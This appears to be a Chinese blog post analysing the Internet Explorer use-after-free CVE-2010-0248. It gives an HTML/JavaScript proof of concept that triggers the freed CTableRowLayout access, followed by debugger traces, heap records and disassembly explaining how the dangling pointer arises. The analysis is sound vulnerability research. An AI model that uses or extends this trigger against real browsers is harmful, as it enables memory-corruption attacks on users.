[CNNVD]Microsoft Internet Explorer 多个远程代码执行漏洞(CNNVD-201001-237)

Microsoft Internet Explorer 6, 6 SP1, 7, 和 8版本没有适当地处理内存中的对象,这可能会允许远程攻击者通过访问(1)未被适当初始化的或(2)被删除的一个对象,执行任意代码。该漏洞会引起内存破坏,它又称为"未初始化内存漏洞"。

POC

<html>
<body>
<table id="test"> <tr></tr> </table>
<script>
Math.tan(2,3);
var test = document.getElementById("test");
Math.sin(0);
var x = test.cells.item(0);
Math.cos(0);
test.outerText = 'test text'; // 删除表格
Math.tan(2,3);
x = test.cells.item(0); // 再试图引用表格的元素,此时将访问已释放的内存
</script>
</body>
</html>

重利用

:> r
eax=0644efa0 ebx= ecx= edx= esi= edi=06e0bfd8
eip=685dbb57 esp=0429ef60 ebp=0429efa8 iopl= nv up ei pl nz na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CTableCellsCollectionCacheItem::GetNext+0x12:
685dbb57 3b4854 cmp ecx,dword ptr [eax+54h] ds::0644eff4=????????
:> kv
ChildEBP RetAddr Args to Child
0429ef60 063ecfd0 mshtml!CTableCellsCollectionCacheItem::GetNext+0x12 (FPO: [,,])
0429efa8 063ecfd0 07cbcc18 mshtml!CCollectionCache::GetIntoAry+0x4e
0429efec 684044a2 07cbcc18 0429f0d8 mshtml!CCollectionCache::GetDispID+0x13e
0429f000 684190d4 063ecfd0 07cbcc18 mshtml!DispatchGetDispIDCollection+0x3f
0429f028 683f1e59 06e0dfd8 07cbcc18 mshtml!CElementCollectionBase::VersionedGetDispID+0x46
0429f06c 68a3a304 06657fd8 07cbcc18 mshtml!PlainGetDispID+0xdc
0429f09c 68a3a272 07cbcc18 0429f0d8 06657fd8 jscript!IDispatchExGetDispID+0xa5
0429f0b4 68a3a47a 05646d10 0429f0d8 jscript!GetDex2DispID+0x31
0429f0e0 68a4d8c8 05646d10 0429f114 jscript!VAR::InvokeByName+0xee
0429f12c 68a4d96f 05646d10 0429f2ac jscript!VAR::InvokeDispName+0x7d
0429f158 68a451b6 05646d10 jscript!VAR::InvokeByDispID+0xce
0429f2f4 68a45c9d 0429f30c 0429f450 07ccaf88 jscript!CScriptRuntime::Run+0x2a97
0429f3dc 68a45bfb 0429f450 jscript!ScrFncObj::CallWithFrameOnStack+0xce
0429f424 68a45e11 0429f450 jscript!ScrFncObj::Call+0x8d
0429f4a0 68a4612a 07ccaf88 0429f660 jscript!CSession::Execute+0x15f
0429f4ec 68a4c2d9 0563cdf0 0429f660 0429f670 jscript!COleScript::ExecutePendingScripts+0x1bd
0429f550 68a4c0f1 0563cdf0 071a2fec jscript!COleScript::ParseScriptTextCore+0x2a4
0429f578 683368c7 0563cdf4 06e30e14 071a2fec jscript!COleScript::ParseScriptText+0x30
0429f5d0 683366bf 0711cfa8 07184f30 mshtml!CScriptCollection::ParseScriptText+0x218
0429f694 68336c35 mshtml!CScriptElement::CommitCode+0x3ae

释放

:> r
eax=681c95f8 ebx=07762fc0 ecx=06572fa0 edx=057b1980 esi=06572fa0 edi=07762fc0
eip=683e2f5b esp=041aedf0 ebp=041aee0c iopl= nv up ei pl zr na pe nc
cs=001b ss= ds= es= fs=003b gs= efl=
mshtml!CLayout::Release:
683e2f5b 8bff mov edi,edi
:> kv
ChildEBP RetAddr Args to Child
041aedec 683e32d0 06572fa0 07762fc0 mshtml!CLayout::Release
041aee0c 68387da7 0676ef30 041aef78 mshtml!CElement::Passivate+0xce
041aee1c 683e0fdf 07762fc0 682c660e mshtml!CBase::PrivateRelease+0x2d
041aee28 682c660e 0676ef30 mshtml!CElement::PrivateExitTree+0x11 (FPO: [,,])
041aef78 682c5b42 041af09c 7728517e mshtml!CSpliceTreeEngine::RemoveSplice+0x841
041af058 682c6ff9 041af090 041af09c mshtml!CMarkup::SpliceTreeInternal+0x83
041af0a8 682c6f39 041af108 041af144 mshtml!CDoc::CutCopyMove+0xca
041af0c4 682c6f17 041af108 041af144 mshtml!CDoc::Remove+0x18
041af0dc 681f288a 041af144 07799fb8 07a54c58 mshtml!RemoveWithBreakOnEmpty+0x3a
041af180 682c704a 07a54c58 mshtml!CElement::InjectInternal+0x32a
041af19c 6850aee9 07799fb8 mshtml!CElement::InjectCompatBSTR+0x46
041af1c0 684072d6 07799fb8 07a54c58 07a72fd0 mshtml!CElement::put_outerText+0x25
041af1f0 683f235c 07799fb8 07a72fd0 0771efd8 mshtml!GS_BSTR+0x1ac
041af264 683fc75a 07799fb8 mshtml!CBase::ContextInvokeEx+0x5dc
041af2b4 6826f1e5 07799fb8 mshtml!CElement::ContextInvokeEx+0x9d
041af2f8 683a3104 07799fb8 mshtml!CTable::VersionedInvokeEx+0xbf
041af34c 6baca22a 04fbefd8 mshtml!PlainInvokeEx+0xeb
041af388 6baca175 070fed10 jscript!IDispatchExInvokeEx2+0x104
041af3c4 6baca3f6 070fed10 jscript!IDispatchExInvokeEx+0x6a
041af484 6baca4a0 jscript!InvokeDispatchEx+0x98

分配

:> !heap -p -a 06572fa0
address 06572fa0 found in
_DPH_HEAP_ROOT @
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
65b25e4: 6572fa0 5c -
mshtml!CTableRowLayout::`vftable'
70228e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77284ea6 ntdll!RtlDebugAllocateHeap+0x00000030
77247d96 ntdll!RtlpAllocateHeap+0x000000c4
772134ca ntdll!RtlAllocateHeap+0x0000023a
68319b3b mshtml!GetLayoutFromFactory+0x00000697
683bdf7b mshtml!CElement::CreateLayout+0x00000021
682bd56d mshtml!CTableRow::RowLayoutCache+0x00000043
682bcff2 mshtml!CTableRow::Notify+0x00000176
6830780a mshtml!CHtmRootParseCtx::FlushNotifications+0x000001bf
68306bb5 mshtml!CHtmRootParseCtx::Commit+0x0000000a
682f77cf mshtml!CHtmPost::Broadcast+0x0000000f
682f7924 mshtml!CHtmPost::Exec+0x00000255
682f8a99 mshtml!CHtmPost::Run+0x00000015
682f89fd mshtml!PostManExecute+0x000001fb
682f95b6 mshtml!CPostManager::PostManOnTimer+0x00000134
683994b2 mshtml!GlobalWndOnMethodCall+0x000000ff
683837f7 mshtml!GlobalWndProc+0x0000010c
76c686ef USER32!InternalCallWinProc+0x00000023
76c68876 USER32!UserCallWinProcCheckWow+0x0000014b
76c689b5 USER32!DispatchMessageWorker+0x0000035e
76c68e9c USER32!DispatchMessageW+0x0000000f
6ea704a6 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000452
6ea80446 IEFRAME!LCIETab_ThreadProc+0x000002c1
76a749bd iertutil!CIsoScope::RegisterThread+0x000000ab
77111174 kernel32!BaseThreadInitThunk+0x0000000e
7721b3f5 ntdll!__RtlUserThreadStart+0x00000070
7721b3c8 ntdll!_RtlUserThreadStart+0x0000001b

分析得出CTableRowLayout为发生UAF的对象

<table id="test"> <tr></tr> </table>

创建了CTableRowLayout对象

test.outerText = 'test text'; 

释放了CTableRowLayout对象

x = test.cells.item(0);

悬垂指针引用了CTableRowLayout对象

为什么会解引用已释放的对象?悬垂指针是怎么产生的?

为了搞清楚这点,我们需要从重利用的地方开始分析,因为重利用的地方即是使用悬垂指针的地方。

.text:7503BB45                 mov     edi, edi
.text:7503BB47 push edi
.text:7503BB48 mov edi, ecx
.text:7503BB4A mov eax, [edi+0Ch]
.text:7503BB4D inc dword ptr [edi+20h]
.text:7503BB50 test eax, eax
.text:7503BB52 jz short loc_7503BB64
.text:7503BB54 mov ecx, [edi+4]
.text:7503BB57 cmp ecx, [eax+54h]

可以看出是ecx代表的数据结构中储存了指向UAF对象的悬垂指针

1:021> dd edi
0701cfd8 685dc138 00000000 00000000 070aefa0
0701cfe8 ffffffff ffffffff ffffffff 07874ea8
0701cff8 00000001 d0d0d0d0 ???????? ????????
0701d008 ???????? ???????? ???????? ????????
0701d018 ???????? ???????? ???????? ????????
0701d028 ???????? ???????? ???????? ????????
0701d038 ???????? ???????? ???????? ????????
0701d048 ???????? ???????? ???????? ????????
1:021> !heap -p -a edi
address 0701cfd8 found in
_DPH_HEAP_ROOT @ 51000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
6661d9c: 701cfd8 24 - 701c000 2000
mshtml!CTableCellsCollectionCacheItem::`vftable'
70228e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77284ea6 ntdll!RtlDebugAllocateHeap+0x00000030
77247d96 ntdll!RtlpAllocateHeap+0x000000c4
772134ca ntdll!RtlAllocateHeap+0x0000023a
685dc0fc mshtml!CTable::EnsureCollectionCache+0x00000201
685e9a59 mshtml!CTable::get_cells+0x00000047
683fde50 mshtml!G_IDispatchp+0x0000007b
683f235c mshtml!CBase::ContextInvokeEx+0x000005dc
683fc75a mshtml!CElement::ContextInvokeEx+0x0000009d
6826f1e5 mshtml!CTable::VersionedInvokeEx+0x000000bf
683a3104 mshtml!PlainInvokeEx+0x000000eb
6baca22a jscript!IDispatchExInvokeEx2+0x00000104
6baca175 jscript!IDispatchExInvokeEx+0x0000006a
6baca3f6 jscript!InvokeDispatchEx+0x00000098
6baca4a0 jscript!VAR::InvokeByName+0x00000139
6bade37e jscript!CScriptRuntime::Run+0x00000666
6bad5c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
6bad5bfb jscript!ScrFncObj::Call+0x0000008d
6bad5e11 jscript!CSession::Execute+0x0000015f
6bad612a jscript!COleScript::ExecutePendingScripts+0x000001bd
6badc2d9 jscript!COleScript::ParseScriptTextCore+0x000002a4
6badc0f1 jscript!COleScript::ParseScriptText+0x00000030
683368c7 mshtml!CScriptCollection::ParseScriptText+0x00000218
683366bf mshtml!CScriptElement::CommitCode+0x000003ae
68336c35 mshtml!CScriptElement::Execute+0x000000c6
683182b5 mshtml!CHtmParse::Execute+0x0000004a
682f77cf mshtml!CHtmPost::Broadcast+0x0000000f
682f7f36 mshtml!CHtmPost::Exec+0x000005f7
682f8a99 mshtml!CHtmPost::Run+0x00000015
682f89fd mshtml!PostManExecute+0x000001fb
682f95b6 mshtml!CPostManager::PostManOnTimer+0x00000134
683994b2 mshtml!GlobalWndOnMethodCall+0x000000ff

经查阅资料0701cfd8处的数据结构是CTableCellsCollectionCacheItem,这个数据结构作为缓存储存了CTableRowLayout对象的指针。但是当CTableRowLayout对象释放后,这个指针却没有及时的销毁,导致了UAF漏洞的发生。

CVE-2010-0248的更多相关文章

  1. 看个AV也中招之cve-2010-2553漏洞分析

    试想:某一天,你的基友给你了一个视频文件,号称是陈老师拍的苍老师的老师题材的最新电影.avi,你满心欢喜,在确定文件格式确实为avi格式后,愉快的脱下裤子准备欣赏,打开后却发现什么也没有,而随后你的基 ...

  2. 应用安全-软件安全-漏洞CVE整理

    jira ssrf CVE-2019-8451 url = url + '/plugins/servlet/gadgets/makeRequest?url=' + host + '@www.baidu ...

  3. 如何使用本地账户"完整"安装 SharePoint Server 2010+解决“New-SPConfigurationDatabase : 无法连接到 SharePoint_Config 的 SQL Server 的数据 库 master。此数据库可能不存在,或当前用户没有连接权限。”

    注:目前看到的解决本地账户完整安装SharePoint Server 2010的解决方案如下,但是,有但是的哦: 当我们选择了"完整"模式安装SharePointServer201 ...

  4. How to accept Track changes in Microsoft Word 2010?

    "Track changes" is wonderful and remarkable tool of Microsoft Word 2010. The feature allow ...

  5. [入门级] 基于 visual studio 2010 mvc4 的图书管理系统开发初步 (二)

    [入门级] 基于 visual studio 2010 mvc4 的图书管理系统开发初步 (二) Date  周六 10 一月 2015 By 钟谢伟 Category website develop ...

  6. [入门级] visual studio 2010 mvc4开发,用ibatis作为数据库访问媒介(一)

    [入门级] visual studio 2010 mvc4开发,用ibatis作为数据库访问媒介(一) Date  周二 06 一月 2015 By 钟谢伟 Tags mvc4 / asp.net 示 ...

  7. c++ builder 2010 错误 F1004 Internal compiler error at 0x9740d99 with base 0x9

    今天遇到一个奇怪的问题,拷贝项目后,在修改,会出现F1004 Internal compiler error at 0x9740d99 with base 0x9 ,不管怎么改,删除改动,都没用,关闭 ...

  8. Sharepoint 2010、Sharepoint 2013浏览器打开CAD(.dwg)

    客户端配置 1.安装FreeDWGViewer.exe,设置浏览器查看 2.检查ActiveX插件是否已安装成功 服务端配置 1.开启许可模式或者通过脚本将"application/acad ...

  9. Microsoft Windows* SDK May 2010 或较新版本(兼容 2010 年 6 月 DirectX SDK)GPU Detect

    原文链接 下载代码样本 特性/描述 日期: 2016 年 5 月 5 日 GPU Detect 是一种简短的示例,演示了检测系统中主要显卡硬件(包括第六代智能英特尔® 酷睿™ 处理器产品家族)的方式. ...

  10. delphi 2010与delphi XE破解版的冲突

    在系统中同时安装了Dephi 2010LITE版与Delphi XE lite后,总是会有一个有问题 是因为两者都是读取C:\ProgramData\Embarcadero目录下的license文件, ...

随机推荐

  1. hdu 3068

    最长回文 Time Limit: 4000/2000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others)Total Submis ...

  2. svn 节点处冲突 解决

    问题描述: [root@localhost ] $ svn up 正在升级 ‘.’: 已跳过 ‘bg0605’ – 节点处于冲突状态 版本 175. 冲突概要: 跳过的路径:1 解决方法: 当前目录下 ...

  3. 如何创建一个 Lua 模块

    如何创建一个 Lua 模块 翻译自: How to Create a Lua Module 译者: FreeBlues 正文 Lua编程语言 中的一个 模块(module)是一个包含函数和变量的代码片 ...

  4. vscode nodejs智能提示功能

    1.依赖一些第三方的插件,先安装typings这个包,如果使用的是淘宝镜像,输入cnpm.cmd执行: cnpm i typings -g //cnpm install typings -global ...

  5. nginx反向代理下没有获取到正确的clientIP问题发散

    问题背景: 在使用nginx服务器NginxA 来反向代理服务 WebAPIA,WebAPIA中要获取ClientIP,结果获取到的IP为NginxA的, 于是引出了以下的一连串概念... 首先使用X ...

  6. java后台代码发送邮件

    1:安装  eyoumailserversetup 易邮邮件服务器 注册账号 2:安装Foxmail 登录以后会有个还原页面 3:测试 4:java 代码编写 配置文件: mail.host=http ...

  7. ASP.NET 前台Javascript调用后台代码 / 后台调用前台Javascript

    1:ASP.NET 前台Javascript调用后台代码 1.1:前台Javascript <script> function CallCs() { var str = "< ...

  8. ES6的优雅方法

    1.箭头函数 // ES5 var selected = allJobs.filter(function (job) { return job.isSelected(); }); // ES6 var ...

  9. java_环境安装(window10)

    参考地址 下载JDK 下载地址:https://www.oracle.com/technetwork/java/javase/downloads/index-jsp-138363.html 本地环境变 ...

  10. ubuntun16.04+cuda9.0+cudnn7+anaconda3+pytorch+anaconda3下py2安装pytorch

    一.电脑配置 说明: 电脑配置: LEGION笔记本CPU Inter Core i7 8代GPU NVIDIA GeForce GTX1060Windows10 所需的环境: Anaconda3(6 ...